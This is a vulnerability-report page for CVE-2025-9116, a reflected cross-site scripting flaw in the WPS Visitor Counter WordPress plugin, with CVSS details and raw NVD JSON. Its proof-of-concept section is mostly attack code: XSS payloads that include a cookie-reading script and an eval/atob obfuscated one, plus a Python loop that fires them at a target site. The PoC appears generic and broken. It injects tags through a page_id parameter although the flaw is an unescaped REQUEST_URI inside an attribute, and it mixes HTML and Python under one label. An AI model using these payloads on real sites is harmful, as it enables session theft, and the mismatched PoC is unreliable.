Security Vulnerability Report
中文
CVE-2025-9116 CVSS 5.8 MEDIUM

CVE-2025-9116

Published: 2025-12-13 16:16:57
Last Modified: 2026-04-15 00:35:42

Description

The WPS Visitor Counter WordPress plugin through 1.4.8 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WPS Visitor Counter WordPress插件 <= 1.4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9116 PoC - WPS Visitor Counter Reflected XSS --> <!-- 构造恶意URL触发反射型XSS --> <!-- 基本XSS payload --> https://example.com/wordpress/?page_id=<script>alert(document.cookie)</script> <!-- 使用HTML事件处理器绕过过滤 --> https://example.com/wordpress/?page_id=<img src=x onerror=alert('XSS')> https://example.com/wordpress/?page_id=<svg onload=alert('XSS')> https://example.com/wordpress/?page_id=<body onload=alert('XSS')> <!-- 绕过引号过滤的payload --> https://example.com/wordpress/?page_id=<script>eval(atob('YWxlcnQoJ1hTUycpOw=='))</script> <!-- 自动化测试Python脚本 --> import requests target_url = "http://target-wordpress-site.com/" payloads = [ "<script>alert(document.domain)</script>", "<img src=x onerror=alert(1)>", "<svg onload=alert(1)>", "<iframe src=javascript:alert(1)>", ] for payload in payloads: test_url = target_url + "?page_id=" + payload response = requests.get(test_url) if payload in response.text: print(f"[VULN] XSS payload reflected: {payload}") print(f"URL: {test_url}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9116", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:56.747", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPS Visitor Counter WordPress plugin through 1.4.8 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.7}]}, "references": [{"url": "https://wpscan.com/vulnerability/fe2eb926-96e8-419e-bf41-5531546e6590/", "source": "[email protected]"}]}}